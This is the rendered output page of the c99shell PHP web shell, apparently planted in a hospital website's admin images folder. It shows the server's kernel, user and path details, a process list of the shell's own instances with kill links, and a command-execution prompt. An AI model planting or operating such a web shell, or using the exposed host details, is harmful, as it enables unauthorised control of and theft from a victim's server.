Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/cpanel/ea-php56/root/etc/php-fpm.d/ drwx--x--- |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
katebho+ | 975555 | 11.0 | 0.0 | 359900 | 36668 | ? | S 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975557 | 11.0 | 0.0 | 159084 | 25228 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975563 | 11.0 | 0.0 | 357788 | 34228 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975565 | 10.0 | 0.0 | 357788 | 34112 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975566 | 8.0 | 0.0 | 356292 | 31736 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975571 | 8.0 | 0.0 | 356292 | 32156 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975572 | 7.0 | 0.0 | 285564 | 20028 | ? | R 17:53 0:00 /opt/cpanel/ea-php73/root/usr/bin/php-cgi /home/katebhospital/public_html/admin/images/service/c99.php | KILL | ||||||||||||||||||||||
katebho+ | 975620 | 0.0 | 0.0 | 42900 | 2156 ? R 17:53 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1952 ]-- |